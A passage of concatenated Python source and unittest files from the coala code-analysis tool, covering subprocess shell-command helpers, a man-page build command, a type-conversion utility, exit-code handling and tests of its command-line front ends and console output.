    >>> with run_interactive_shell_command(["echo", "TEXT"],
    ...                                    stdout=stream) as p:
    ...     stderr = p.stderr
    >>> stderr.closed
    True
    >>> stream.closed
    False

    :param command: The command to run on shell. This parameter can either
                    be a sequence of arguments that are directly passed to
                    the process or a string. A string gets splitted beforehand
                    using ``shlex.split()``. If providing ``shell=True`` as a
                    keyword-argument, no ``shlex.split()`` is performed and the
                    command string goes directly to ``subprocess.Popen()``.
    :param kwargs:  Additional keyword arguments to pass to
                    ``subprocess.Popen`` that are used to spawn the process.
    :return:        A context manager yielding the process started from the
                    command.
    """
    if not kwargs.get("shell", False) and isinstance(command, str):
        command = shlex.split(command)

    args = {"stdout": PIPE,
            "stderr": PIPE,
            "stdin": PIPE,
            "universal_newlines": True}
    args.update(kwargs)

    process = Popen(command, **args)
    try:
        yield process
    finally:
        if args["stdout"] is PIPE:
            process.stdout.close()
        if args["stderr"] is PIPE:
            process.stderr.close()
        if args["stdin"] is PIPE:
            process.stdin.close()

        process.wait()


def run_shell_command(command, stdin=None, **kwargs):
    """
    Runs a single command in shell and returns the read stdout and stderr data.

    This function waits for the process (created using ``subprocess.Popen()``)
    to exit. Effectively it wraps ``run_interactive_shell_command()`` and uses
    ``communicate()`` on the process.

    See also ``run_interactive_shell_command()``.

    :param command: The command to run on shell. This parameter can either
                    be a sequence of arguments that are directly passed to
                    the process or a string. A string gets splitted beforehand
                    using ``shlex.split()``.
    :param stdin:   Initial input to send to the process.
    :param kwargs:  Additional keyword arguments to pass to
                    ``subprocess.Popen`` that is used to spawn the process.
    :return:        A tuple with ``(stdoutstring, stderrstring)``.
    """
    with run_interactive_shell_command(command, **kwargs) as p:
        ret = p.communicate(stdin)
    return ret


def get_shell_type():  # pragma: no cover
    """
    Finds the current shell type based on the outputs of common pre-defined
    variables in them. This is useful to identify which sort of escaping
    is required for strings.

    :return: The shell type. This can be either "powershell" if Windows
             Powershell is detected, "cmd" if command prompt is been
             detected or "sh" if it's neither of these.
    """
    out = run_shell_command("echo $host.name", shell=True)[0]
    if out.strip() == "ConsoleHost":
        return "powershell"
    out = run_shell_command("echo $0", shell=True)[0]
    if out.strip() == "$0":
        return "cmd"
    return "sh"






import argparse
import datetime
from distutils.core import Command
from distutils.errors import DistutilsOptionError


class BuildManPage(Command):
    """
    Add a ``build_manpage`` command  to your setup.py.
    To use this Command class add a command to call this class::

        # For setuptools
        setup(
              entry_points={
                "distutils.commands": [
                    "build_manpage = coalib.misc.BuildManPage:BuildManPage"
                ]
              }
        )

        # For distutils
        from coalib.misc.BuildManPage import BuildManPage
        setup(
              cmdclass={'build_manpage': BuildManPage}
        )

    You can then use the following setup command to produce a man page::

        $ python setup.py build_manpage --output=coala.1 \
            --parser=coalib.parsing.DefaultArgParser:default_arg_parser

    If automatically want to build the man page every time you invoke
    your build, add to your ```setup.cfg``` the following::

        [build_manpage]
        output = <appname>.1
        parser = <path_to_your_parser>
    """
    user_options = [
        ('output=', 'O', 'output file'),
        ('parser=', None, 'module path to an ArgumentParser instance'
         '(e.g. mymod:func, where func is a method or function which return'
         'an arparse.ArgumentParser instance.'),
    ]

    def initialize_options(self):
        self.output = None
        self.parser = None

    def finalize_options(self):
        if self.output is None:
            raise DistutilsOptionError('\'output\' option is required')
        if self.parser is None:
            raise DistutilsOptionError('\'parser\' option is required')
        mod_name, func_name = self.parser.split(':')
        fromlist = mod_name.split('.')
        mod = __import__(mod_name, fromlist=fromlist)
        self._parser = (
            getattr(mod, func_name)(formatter_class=ManPageFormatter))

        self.announce('Writing man page %s' % self.output)
        self._today = datetime.date.today()

    def run(self):
        dist = self.distribution
        homepage = dist.get_url()
        maintainer = dist.get_maintainer()
        _license = dist.get_license()
        appname = self._parser.prog

        sections = {"see also": ("Online documentation: {}".format(homepage)),
                    "maintainer(s)": maintainer,
                    "license": _license}

        dist = self.distribution
        mpf = ManPageFormatter(appname,
                               desc=dist.get_description(),
                               long_desc=dist.get_long_description(),
                               ext_sections=sections,
                               parser=self._parser)

        formatted_man_page = mpf.format_man_page()

        with open(self.output, 'w') as man_file:
            man_file.write(formatted_man_page)


class ManPageFormatter(argparse.HelpFormatter):

    def __init__(self,
                 prog,
                 indent_increment=2,
                 max_help_position=24,
                 width=None,
                 desc=None,
                 long_desc=None,
                 ext_sections=None,
                 parser=None):
        argparse.HelpFormatter.__init__(self, prog)

        self._prog = prog
        self._section = 1
        self._today = datetime.date.today().strftime('%Y\\-%m\\-%d')
        self._desc = desc
        self._long_desc = long_desc
        self._ext_sections = ext_sections
        self._parser = parser

    def _format_action_invocation(self, action):
        if not action.option_strings:
            metavar, = self._metavar_formatter(action, action.dest)(1)
            return metavar

        else:
            # if the Optional doesn't take a value, format is:
            #    -s, --long
            if action.nargs == 0:
                parts = [ManPageFormatter._bold(action_str)
                         for action_str in action.option_strings]

            # if the Optional takes a value, format is:
            #    -s ARGS, --long ARGS
            else:
                default = ManPageFormatter._underline(action.dest.upper())
                args_string = self._format_args(action, default)
                parts = ['%s %s' % (self._bold(option_string), args_string)
                         for option_string in action.option_strings]

            return ', '.join(parts)

    @staticmethod
    def _markup(string):
        return string.replace('-', '\\-')

    @staticmethod
    def _add_format(string, front, back):
        if not string.strip().startswith(front):
            string = front + string
        if not string.strip().endswith(back):
            string = string + back
        return string

    @staticmethod
    def _underline(string):
        return ManPageFormatter._add_format(string, "\\fI", "\\fR")

    @staticmethod
    def _bold(string):
        return ManPageFormatter._add_format(string, "\\fB", "\\fR")

    def _mk_title(self):
        return '.TH {0} {1} {2}\n'.format(self._prog,
                                          self._section,
                                          self._today)

    def _mk_name(self):
        return '.SH NAME\n%s\n' % (self._parser.prog)

    def _mk_synopsis(self):
        self.add_usage(self._parser.usage,
                       self._parser._actions,
                       self._parser._mutually_exclusive_groups,
                       prefix='')
        usage = self._format_usage(None,
                                   self._parser._actions,
                                   self._parser._mutually_exclusive_groups,
                                   '')

        usage = usage.replace('%s ' % self._prog, '')
        usage = ('.SH SYNOPSIS\n \\fB%s\\fR %s\n'
                 % (ManPageFormatter._markup(self._prog), usage))
        return usage

    def _mk_description(self):
        if self._long_desc:
            long_desc = self._long_desc.replace('\n', '\n.br\n')
            return '.SH DESCRIPTION\n%s\n' % self._markup(long_desc)
        else:
            return ''

    def _mk_options(self):
        formatter = self._parser._get_formatter()

        # positionals, optionals and user-defined groups
        for action_group in self._parser._action_groups:
            formatter.start_section(None)
            formatter.add_text(None)
            formatter.add_arguments(action_group._group_actions)
            formatter.end_section()

        # epilog
        formatter.add_text(self._parser.epilog)

        # determine help from format above
        return '.SH OPTIONS\n' + formatter.format_help()

    def _mk_footer(self):
        sections = self._ext_sections
        if not hasattr(sections, '__iter__'):
            return ''

        footer = []

        for section in sorted(sections.keys()):
            part = ".SH {}\n {}".format(section.upper(), sections[section])
            footer.append(part)

        return '\n'.join(footer)

    def format_man_page(self):
        page = []
        page.append(self._mk_title())
        page.append(self._mk_name())
        page.append(self._mk_synopsis())
        page.append(self._mk_description())
        page.append(self._mk_options())
        page.append(self._mk_footer())

        return ''.join(page)












def typechain(*args):
    """
    Returns function which applies the first transformation it can from args
    and returns transformed value, or the value itself if it is in args.

    >>> function = typechain(int, 'a', ord, None)
    >>> function("10")
    10
    >>> function("b")
    98
    >>> function("a")
    'a'
    >>> function(int)
    <class 'int'>
    >>> function(None) is None
    True
    >>> function("str")
    Traceback (most recent call last):
        ...
    ValueError: Couldn't convert value 'str' to any specified type or find it \
in specified values.

    :raises TypeError:  Raises when either no functions are specified for
                        checking.
    """
    if len(args) == 0:
        raise TypeError("No arguments were provided.")

    def annotation(value):
        """
        Returns value either transformed with one of the function in args, or
        casted to one of types in args, or the value itself if it is in the
        args.

        :raises ValueError: Raises when cannot transform value in any one of
                            specified ways.
        """
        for arg in args:
            if value == arg:
                return value
            if isinstance(arg, type) and isinstance(value, arg):
                return value
            try:
                return arg(value)
            except (ValueError, TypeError):
                pass
        raise ValueError(
            "Couldn't convert value {!r} to any specified type "
            "or find it in specified values.".format(value))
    return annotation






from pyprint.NullPrinter import NullPrinter

from coalib.misc import Constants
from coalib.output.printers.LogPrinter import LogPrinter

from pkg_resources import VersionConflict


def get_exitcode(exception, log_printer=None):
    log_printer = (LogPrinter(NullPrinter()) if log_printer is None
                   else log_printer)

    if isinstance(exception, KeyboardInterrupt):  # Ctrl+C
        print("Program terminated by user.")
        exitcode = 130
    elif isinstance(exception, EOFError):  # Ctrl+D
        print("Found EOF. Exiting gracefully.")
        exitcode = 0
    elif isinstance(exception, SystemExit):
        exitcode = exception.code
    elif isinstance(exception, VersionConflict):
        log_message = Constants.VERSION_CONFLICT_MESSAGE % str(exception.req)
        log_printer.log_exception(log_message, exception)
        exitcode = 13
    elif isinstance(exception, BaseException):
        log_printer.log_exception(Constants.CRASH_MESSAGE, exception)
        exitcode = 255
    else:
        exitcode = 0

    return exitcode






from contextlib import contextmanager
import os
import sys
import unittest.mock

from coalib.misc.ContextManagers import retrieve_stdout


def execute_coala(func, binary, *args):
    """
    Executes the main function with the given argument string from given module.

    :param function: A main function from coala_json, coala_ci module etc.
    :param binary:   A binary to execute coala test
    :return:         A tuple holding a return value first and
                     a stdout output as second element.
    """
    sys.argv = [binary] + list(args)
    with retrieve_stdout() as stdout:
        retval = func()
        return retval, stdout.getvalue()


@contextmanager
def bear_test_module():
    """
    This function mocks the ``pkg_resources.iter_entry_points()``
    to use the testing bear module we have. Hence, it doesn't test
    the collection of entry points.
    """
    bears_test_module = os.path.join(os.path.dirname(__file__),
                                     "test_bears", "__init__.py")

    class EntryPoint:

        @staticmethod
        def load():
            class PseudoPlugin:
                __file__ = bears_test_module
            return PseudoPlugin()

    with unittest.mock.patch("pkg_resources.iter_entry_points",
                             return_value=[EntryPoint()]) as mocked:
        yield






import tempfile
import unittest
import os
import re

from coalib import coala_delete_orig
from coalib.misc.ContextManagers import retrieve_stdout
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting
from coalib.misc.ContextManagers import make_temp


class coalaDeleteOrigTest(unittest.TestCase):

    def setUp(self):
        self.section = Section("default")
        self.section.append(Setting("config", '/path/to/file'))

    @unittest.mock.patch('os.getcwd')
    def test_nonexistent_coafile(self, mocked_getcwd):
        mocked_getcwd.return_value = None
        retval = coala_delete_orig.main()
        self.assertEqual(retval, 255)

    @unittest.mock.patch('coalib.parsing.Globbing.glob')
    def test_remove_exception(self, mock_glob):
        # Non existent file
        mock_glob.return_value = ["non_existent_file"]
        with retrieve_stdout() as stdout:
            retval = coala_delete_orig.main(section=self.section)
            output = stdout.getvalue()
            self.assertEqual(retval, 0)
            self.assertIn("Couldn't delete", output)

        # Directory instead of file
        with tempfile.TemporaryDirectory() as filename, \
                retrieve_stdout() as stdout:
            mock_glob.return_value = [filename]
            retval = coala_delete_orig.main(section=self.section)
            output = stdout.getvalue()
            self.assertEqual(retval, 0)
            self.assertIn("Couldn't delete", output)

    def test_normal_running(self):
        with tempfile.TemporaryDirectory() as directory:
            temporary = tempfile.mkstemp(suffix=".orig", dir=directory)
            os.close(temporary[0])
            section = Section("")
            section.append(Setting("project_dir", re.escape(directory)))
            retval = coala_delete_orig.main(section=section)
            self.assertEqual(retval, 0)
            self.assertFalse(os.path.isfile(temporary[1]))






import os
import re
import sys
import unittest

from coalib import coala_ci
from coalib.misc.ContextManagers import prepare_file
from tests.TestUtilities import bear_test_module, execute_coala


class coalaCITest(unittest.TestCase):

    def setUp(self):
        self.old_argv = sys.argv
        self.unescaped_coafile = os.path.abspath("./.coafile")
        self.coafile = re.escape(self.unescaped_coafile)

    def tearDown(self):
        sys.argv = self.old_argv

    def test_nonexistent(self):
        retval, output = execute_coala(
            coala_ci.main, "coala-ci", "-c", 'nonex', "test")
        self.assertRegex(
            output,
            ".*\\[ERROR\\].*The requested coafile '.*' does not exist. .+\n")

    def test_find_no_issues(self):
        with bear_test_module(), \
                prepare_file(["#include <a>"], None) as (lines, filename):
            retval, output = execute_coala(coala_ci.main, "coala-ci",
                                           '-c', os.devnull,
                                           '-f', re.escape(filename),
                                           '-b', 'SpaceConsistencyTestBear',
                                           "--settings", "use_spaces=True")
            self.assertIn("Executing section Default", output)
            self.assertEqual(retval, 0,
                             "coala-ci must return zero when successful")

    def test_find_issues(self):
        with bear_test_module(), \
                prepare_file(["#fixme"], None) as (lines, filename):
            retval, output = execute_coala(coala_ci.main, "coala-ci",
                                           "-c", os.devnull,
                                           "-b", "LineCountTestBear",
                                           "-f", re.escape(filename))
            self.assertIn("This file has 1 lines.",
                          output,
                          "The output should report count as 1 lines")
            self.assertNotEqual(retval, 0,
                                "coala-ci was expected to return non-zero")

    def test_fix_patchable_issues(self):
        with bear_test_module(), \
                prepare_file(["\t#include <a>"], None) as (lines, filename):
            retval, output = execute_coala(
                coala_ci.main, "coala-ci",
                "-c", os.devnull,
                "-f", re.escape(filename),
                "-b", "SpaceConsistencyTestBear",
                "--settings", "autoapply=true", "use_spaces=True",
                "default_actions=SpaceConsistencyTestBear:ApplyPatchAction")
            self.assertIn("Applied 'ApplyPatchAction'", output)
            self.assertEqual(retval, 5,
                             "coala-ci must return exitcode 5 when it "
                             "autofixes the code.")

    def test_fail_acquire_settings(self):
        with bear_test_module():
            retval, output = execute_coala(coala_ci.main, "coala-ci",
                                           "-b", 'SpaceConsistencyTestBear',
                                           '-c', os.devnull)
            self.assertIn("During execution, we found that some", output)






import json
import os
import re
import sys
import unittest
import unittest.mock
from pkg_resources import VersionConflict

from coalib import coala_json
from coalib.misc.ContextManagers import prepare_file
from tests.TestUtilities import bear_test_module, execute_coala


class coalaJSONTest(unittest.TestCase):

    def setUp(self):
        self.old_argv = sys.argv

    def tearDown(self):
        sys.argv = self.old_argv

    def test_nonexistent(self):
        retval, output = execute_coala(
            coala_json.main, "coala-json", "-c", 'nonex', "test")
        output = json.loads(output)
        self.assertRegex(
            output["logs"][0]["message"],
            "The requested coafile '.*' does not exist. .+")

    def test_find_issues(self):
        with bear_test_module(), \
                prepare_file(["#fixme"], None) as (lines, filename):
            retval, output = execute_coala(coala_json.main, "coala-json",
                                           "-c", os.devnull,
                                           "-b", "LineCountTestBear",
                                           "-f", re.escape(filename))
            output = json.loads(output)
            self.assertEqual(output["results"]["default"][0]["message"],
                             "This file has 1 lines.")
            self.assertNotEqual(retval, 0,
                                "coala-json must return nonzero when "
                                "results found")

    def test_fail_acquire_settings(self):
        with bear_test_module():
            retval, output = execute_coala(coala_json.main, 'coala-json',
                                           '-c', os.devnull,
                                           '-b', 'SpaceConsistencyTestBear')
            output = json.loads(output)
            found = False
            for msg in output["logs"]:
                if "During execution, we found that some" in msg["message"]:
                    found = True
            self.assertTrue(found, "Missing settings not logged")

    def test_show_all_bears(self):
        with bear_test_module():
            retval, output = execute_coala(coala_json.main, 'coala-json', '-B')
            self.assertEqual(retval, 0)
            output = json.loads(output)
            self.assertEqual(len(output["bears"]), 4)

    def test_show_language_bears(self):
        with bear_test_module():
            retval, output = execute_coala(
                coala_json.main, 'coala-json', '-B', '-l', 'java')
            self.assertEqual(retval, 0)
            output = json.loads(output)
            self.assertEqual(len(output["bears"]), 2)

    def test_show_bears_attributes(self):
        with bear_test_module():
            retval, output = execute_coala(coala_json.main, 'coala-json', '-B')
            self.assertEqual(retval, 0)
            output = json.loads(output)
            # Get JavaTestBear
            bear = ([bear for bear in output["bears"]
                     if bear["name"] == "JavaTestBear"][0])
            self.assertTrue(bear, "JavaTestBear was not found.")
            self.assertEqual(bear["LANGUAGES"], ["java"])
            self.assertEqual(bear["LICENSE"], "AGPL-3.0")
            self.assertEqual(bear["metadata"]["desc"],
                             "Bear to test that collecting of languages works."
                             )
            self.assertTrue(bear["metadata"]["optional_params"])
            self.assertFalse(bear["metadata"]["non_optional_params"])

    @unittest.mock.patch('coalib.parsing.DefaultArgParser.get_all_bears_names')
    @unittest.mock.patch('coalib.collecting.Collectors.icollect_bears')
    def test_version_conflict_in_collecting_bears(self, import_fn, _):
        with bear_test_module():
            import_fn.side_effect = VersionConflict("msg1", "msg2")
            retval, _ = execute_coala(coala_json.main, 'coala-json', '-B')
            self.assertEqual(retval, 13)

    def test_version(self):
        with self.assertRaises(SystemExit):
            execute_coala(coala_json.main, 'coala-json', '-v')

    def test_text_logs(self):
        retval, output = execute_coala(
            coala_json.main, 'coala-json', '--text-logs', '-c', 'nonex')
        self.assertRegex(
            output,
            ".*\\[ERROR\\].*The requested coafile '.*' does not exist. .+\n")

    def test_output_file(self):
        with prepare_file(["#todo this is todo"], None) as (lines, filename):
            retval, output = execute_coala(coala_json.main, "coala-json",
                                           "-c", os.devnull,
                                           "-b", "LineCountTestBear",
                                           "-f", re.escape(filename))
            exp_retval, exp_output = execute_coala(coala_json.main,
                                                   "coala-json",
                                                   "-c", os.devnull,
                                                   "-b", "LineCountTestBear",
                                                   "-f", re.escape(filename),
                                                   "-o", "file.json")

        with open('file.json') as fp:
            data = json.load(fp)

        output = json.loads(output)

        self.assertEqual(data['logs'][0]['log_level'],
                         output['logs'][0]['log_level'])
        os.remove('file.json')












import os
import re
import sys
import unittest

from coalib import coala_format
from coalib.misc.ContextManagers import prepare_file
from tests.TestUtilities import bear_test_module, execute_coala


class coalaFormatTest(unittest.TestCase):

    def setUp(self):
        self.old_argv = sys.argv

    def tearDown(self):
        sys.argv = self.old_argv

    def test_line_count(self):
        with bear_test_module(), \
                prepare_file(["#fixme"], None) as (lines, filename):
            retval, output = execute_coala(coala_format.main, "coala-format",
                                           "-c", os.devnull,
                                           "-f", re.escape(filename),
                                           "-b", "LineCountTestBear")
            self.assertRegex(output, r'message:This file has [0-9]+ lines.',
                             "coala-format output for line count should "
                             "not be empty")
            self.assertEqual(retval, 1,
                             "coala-format must return exitcode 1 when it "
                             "yields results")






import unittest
from unittest.case import SkipTest

try:
    from coalib import coala_dbus
    from gi.repository import GLib
except ImportError:
    raise SkipTest("python-gi or python-dbus not installed")


class GlibMainLoopTest:

    @staticmethod
    def run():
        raise AssertionError


class coalaDbusTest(unittest.TestCase):

    def setUp(self):
        self.glib_main_loop = GLib.MainLoop
        GLib.MainLoop = GlibMainLoopTest

    def tearDown(self):
        GLib.MainLoop = self.glib_main_loop

    def test_main(self):
        # Ensure we are able to setup dbus and create a mainloop
        with self.assertRaises(AssertionError):
            coala_dbus.main()

        with self.assertRaises(SystemExit):
            coala_dbus.sys_clean_exit()

        self.assertGreater(coala_dbus.on_disconnected(), 0)






import os
import re
import sys
import unittest
import unittest.mock
from pkg_resources import VersionConflict

from coalib import coala
from coalib.misc.ContextManagers import prepare_file
from tests.TestUtilities import execute_coala, bear_test_module


class coalaTest(unittest.TestCase):

    def setUp(self):
        self.old_argv = sys.argv

    def tearDown(self):
        sys.argv = self.old_argv

    def test_coala(self):
        with bear_test_module(), \
                prepare_file(["#fixme"], None) as (lines, filename):
            retval, output = execute_coala(
                             coala.main,
                            "coala", "-c", os.devnull,
                            "-f", re.escape(filename),
                            "-b", "LineCountTestBear")
            self.assertIn("This file has 1 lines.",
                          output,
                          "The output should report count as 1 lines")

    def test_did_nothing(self):
        retval, output = execute_coala(coala.main, "coala", "-c", os.devnull,
                                       "-S", "default.enabled=false")
        self.assertEqual(retval, 0)
        self.assertIn("No existent section was targeted or enabled", output)

    def test_show_all_bears(self):
        with bear_test_module():
            retval, output = execute_coala(coala.main, "coala", "-B")
            self.assertEqual(retval, 0)
            # 4 bears plus 1 line holding the closing colour escape sequence
            self.assertEqual(len(output.strip().splitlines()), 5)

    def test_show_language_bears(self):
        with bear_test_module():
            retval, output = execute_coala(
                coala.main, "coala", "-B", "-l", "java")
            self.assertEqual(retval, 0)
            # 2 bears plus 1 line holding the closing colour escape sequence
            self.assertEqual(len(output.splitlines()), 3)

    def test_show_capabilities_with_supported_language(self):
        with bear_test_module():
            retval, output = execute_coala(
                coala.main, "coala", "-p", "R")
            self.assertEqual(retval, 0)
            self.assertEqual(len(output.splitlines()), 2)

    @unittest.mock.patch('coalib.parsing.DefaultArgParser.get_all_bears_names')
    @unittest.mock.patch('coalib.collecting.Collectors.icollect_bears')
    def test_version_conflict_in_collecting_bears(self, import_fn, _):
        with bear_test_module():
            import_fn.side_effect = VersionConflict("msg1", "msg2")
            retval, output = execute_coala(coala.main, "coala", "-B")
            self.assertEqual(retval, 13)
            self.assertIn(("There is a conflict in the version of a "
                           "dependency you have installed"), output)
            self.assertIn("pip install msg2", output)  # Check recommendation

    @unittest.mock.patch('coalib.collecting.Collectors._import_bears')
    def test_unimportable_bear(self, import_fn):
        with bear_test_module():
            import_fn.side_effect = SyntaxError
            retval, output = execute_coala(coala.main, "coala", "-B")
            self.assertEqual(retval, 0)
            self.assertIn("Unable to collect bears from", output)

            import_fn.side_effect = VersionConflict("msg1", "msg2")
            retval, output = execute_coala(coala.main, "coala", "-B")
            # Note that bear version conflicts don't give exitcode=13,
            # they just give a warning with traceback in log_level debug.
            self.assertEqual(retval, 0)
            self.assertRegex(output,
                             "Unable to collect bears from .* because there "
                             "is a conflict with the version of a dependency "
                             "you have installed")
            self.assertIn("pip install msg2", output)  # Check recommendation






import os
import unittest
from unittest.mock import patch
from collections import OrderedDict
from os.path import abspath, relpath

from pyprint.ConsolePrinter import ConsolePrinter
from pyprint.NullPrinter import NullPrinter
from pyprint.StringPrinter import StringPrinter

from coalib.bearlib.spacing.SpacingHelper import SpacingHelper
from coalib.bears.Bear import Bear
from coalib.misc.ContextManagers import (
    make_temp, retrieve_stdout, simulate_console_inputs)
from coalib.output.ConsoleInteraction import (
    acquire_actions_and_apply, acquire_settings, get_action_info, nothing_done,
    print_affected_files, print_result, print_results,
    print_results_formatted, print_results_no_input, print_section_beginning,
    show_bear, show_bears, ask_for_action_and_apply, print_diffs_info,
    show_language_bears_capabilities)
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.output.ConsoleInteraction import (BackgroundSourceRangeStyle,
                                              BackgroundMessageStyle,
                                              highlight_text)
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.results.result_actions.OpenEditorAction import OpenEditorAction
from coalib.results.result_actions.ResultAction import ResultAction
from coalib.results.SourceRange import SourceRange
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting

from pygments import highlight
from pygments.formatters import (TerminalTrueColorFormatter,
                                 TerminalFormatter)
from pygments.filters import VisibleWhitespaceFilter
from pygments.lexers import TextLexer
from pygments.style import Style
from pygments.token import Token


STR_GET_VAL_FOR_SETTING = ("Please enter a value for the setting \"{}\" ({}) "
                           "needed by {}: ")
STR_LINE_DOESNT_EXIST = ("The line belonging to the following result "
                         "cannot be printed because it refers to a line "
                         "that doesn't seem to exist in the given file.")
STR_PROJECT_WIDE = "Project wide:"


class TestAction(ResultAction):

    def apply(self, result, original_file_dict, file_diff_dict, param):
        pass


class TestBear(Bear):

    CAN_DETECT = {'Formatting'}
    CAN_FIX = {'Formatting'}
    LANGUAGES = list(sorted({'F#', 'Shakespearean Programming Language'}))

    def run(self, setting1, setting2: int=None):
        """
        Test bear Description.

        :param setting1: Required Setting.
        :param setting2: Optional Setting.
        """
        return None


class TestBear2(Bear):

    LANGUAGES = {'TestLanguage'}

    def run(self, setting1):
        """
        Test bear 2 description.

        :param setting1: Required Setting.
        """
        return None


class SomeBear(Bear):

    def run(self):
        """
        Some Description.
        """
        return None


class SomeOtherBear(Bear):

    def run(self, setting: int=None):
        """
        This is a Bear.
        :param setting: This is an optional setting.
        """
        setting = 1
        return None


class SomeglobalBear(Bear):

    def run(self):
        """
        Some global-bear Description.
        """
        return None


class SomelocalBear(Bear):

    def run(self):
        """
        Some local-bear Description.
        """
        return None


class ConsoleInteractionTest(unittest.TestCase):

    def setUp(self):
        self.log_printer = LogPrinter(ConsolePrinter(print_colored=False))
        self.console_printer = ConsolePrinter(print_colored=False)
        self.file_diff_dict = {}
        self.section = Section("t")
        self.local_bears = OrderedDict([("default", [SomelocalBear]),
                                        ("test", [SomelocalBear])])
        self.global_bears = OrderedDict([("default", [SomeglobalBear]),
                                         ("test", [SomeglobalBear])])

        self.old_open_editor_applicable = OpenEditorAction.is_applicable
        OpenEditorAction.is_applicable = staticmethod(lambda *args: False)

        self.old_apply_patch_applicable = ApplyPatchAction.is_applicable
        ApplyPatchAction.is_applicable = staticmethod(lambda *args: False)
        self.lexer = TextLexer()
        self.lexer.add_filter(VisibleWhitespaceFilter(
            spaces="•",
            tabs=True,
            tabsize=SpacingHelper.DEFAULT_TAB_WIDTH))

    def tearDown(self):
        OpenEditorAction.is_applicable = self.old_open_editor_applicable
        ApplyPatchAction.is_applicable = self.old_apply_patch_applicable

    def test_require_settings(self):
        self.assertRaises(TypeError, acquire_settings, self.log_printer, 0)

        with simulate_console_inputs(0, 1, 2) as generator:
            self.assertEqual(acquire_settings(self.log_printer,
                                              {"setting": ["help text",
                                                           "SomeBear"]}),
                             {"setting": 0})

            self.assertEqual(acquire_settings(self.log_printer,
                                              {"setting": ["help text",
                                                           "SomeBear",
                                                           "AnotherBear"]}),
                             {"setting": 1})

            self.assertEqual(acquire_settings(self.log_printer,
                                              {"setting": ["help text",
                                                           "SomeBear",
                                                           "AnotherBear",
                                                           "YetAnotherBear"]}),
                             {"setting": 2})

            self.assertEqual(generator.last_input, 2)

    def test_print_diffs_info(self):
        file_dict = {"a": ["a\n", "b\n", "c\n"], "b": ["old_first\n"]}
        diff_dict = {"a": Diff(file_dict['a']),
                     "b": Diff(file_dict['b'])}
        diff_dict["a"].add_lines(1, ["test\n"])
        diff_dict["a"].delete_line(3)
        diff_dict["b"].add_lines(0, ["first\n"])
        previous_diffs = {"a": Diff(file_dict['a'])}
        previous_diffs["a"].change_line(2, "b\n", "b_changed\n")
        with retrieve_stdout() as stdout:
            print_diffs_info(diff_dict, self.console_printer)
            self.assertEqual(stdout.getvalue(),
                             "|    | +1 -1 in a\n"
                             "|    | +1 -0 in b\n")

    @patch("coalib.output.ConsoleInteraction.acquire_actions_and_apply")
    @patch("coalib.output.ConsoleInteraction.ShowPatchAction."
           "apply_from_section")
    def test_print_result_interactive_small_patch(self, apply_from_section, _):
        file_dict = {"a": ["a\n", "b\n", "c\n"], "b": ["old_first\n"]}
        diff_dict = {"a": Diff(file_dict['a']),
                     "b": Diff(file_dict['b'])}
        diff_dict["a"].add_lines(1, ["test\n"])
        diff_dict["a"].delete_line(3)
        result = Result("origin", "msg", diffs=diff_dict)
        section = Section("test")

        print_result(self.console_printer,
                     self.log_printer,
                     section,
                     self.file_diff_dict,
                     result,
                     file_dict,
                     True)
        apply_from_section.assert_called_once_with(
            result, file_dict, self.file_diff_dict, section)

    @patch("coalib.output.ConsoleInteraction.acquire_actions_and_apply")
    @patch("coalib.output.ConsoleInteraction.print_diffs_info")
    def test_print_result_interactive_big_patch(self, diffs_info, _):
        file_dict = {"a": ["a\n", "b\n", "c\n"], "b": ["old_first\n"]}
        diff_dict = {"a": Diff(file_dict['a']),
                     "b": Diff(file_dict['b'])}
        diff_dict["a"].add_lines(1, ["test\n", "test1\n", "test2\n"])
        diff_dict["a"].delete_line(3)
        diff_dict["a"].add_lines(3, ["3test\n"])
        result = Result("origin", "msg", diffs=diff_dict)
        section = Section("test")

        print_result(self.console_printer,
                     self.log_printer,
                     section,
                     self.file_diff_dict,
                     result,
                     file_dict,
                     True)
        diffs_info.assert_called_once_with(diff_dict, self.console_printer)

    def test_print_result(self):
        print_result(self.console_printer,
                     self.log_printer,
                     None,
                     self.file_diff_dict,
                     "illegal value",
                     {})

        with simulate_console_inputs(0):
            print_result(self.console_printer,
                         self.log_printer,
                         self.section,
                         self.file_diff_dict,
                         Result("origin", "msg", diffs={}),
                         {})

        with make_temp() as testfile_path:
            file_dict = {
                testfile_path: ["1\n", "2\n", "3\n"],
                "f_b": ["1", "2", "3"]
            }
            diff = Diff(file_dict[testfile_path])
            diff.delete_line(2)
            diff.change_line(3, "3\n", "3_changed\n")

            ApplyPatchAction.is_applicable = staticmethod(
                lambda *args: True)

            # Interaction must be closed by the user with `0` if it's not a
            # param
            with simulate_console_inputs("INVALID",
                                         -1,
                                         1,
                                         0,
                                         3) as input_generator:
                curr_section = Section("")
                print_section_beginning(self.console_printer, curr_section)
                print_result(self.console_printer,
                             self.log_printer,
                             curr_section,
                             self.file_diff_dict,
                             Result("origin", "msg", diffs={
                                    testfile_path: diff}),
                             file_dict)
                self.assertEqual(input_generator.last_input, 3)

                self.file_diff_dict.clear()

                with open(testfile_path) as f:
                    self.assertEqual(f.readlines(), ["1\n", "3_changed\n"])

                os.remove(testfile_path + ".orig")

                name, section = get_action_info(curr_section,
                                                TestAction().get_metadata(),
                                                failed_actions=set())
                self.assertEqual(input_generator.last_input, 4)
                self.assertEqual(str(section), " {param : '3'}")
                self.assertEqual(name, "TestAction")

        # Check if the user is asked for the parameter only the first time.
        # Use OpenEditorAction that needs this parameter (editor command).
        with simulate_console_inputs(1, "test_editor", 0, 1, 0) as generator:
            OpenEditorAction.is_applicable = staticmethod(lambda *args: True)

            patch_result = Result("origin", "msg", diffs={testfile_path: diff})
            patch_result.file = "f_b"

            print_result(self.console_printer,
                         self.log_printer,
                         curr_section,
                         self.file_diff_dict,
                         patch_result,
                         file_dict)
            # choose action, choose editor, choose no action (-1 -> 2)
            self.assertEqual(generator.last_input, 2)

            # It shoudn't ask for parameter again
            print_result(self.console_printer,
                         self.log_printer,
                         curr_section,
                         self.file_diff_dict,
                         patch_result,
                         file_dict)
            self.assertEqual(generator.last_input, 4)

    def test_print_affected_files(self):
        with retrieve_stdout() as stdout, \
                make_temp() as some_file:
            file_dict = {some_file: ["1\n", "2\n", "3\n"]}
            affected_code = (SourceRange.from_values(some_file),)
            print_affected_files(self.console_printer,
                                 self.log_printer,
                                 Section(""),
                                 Result("origin",
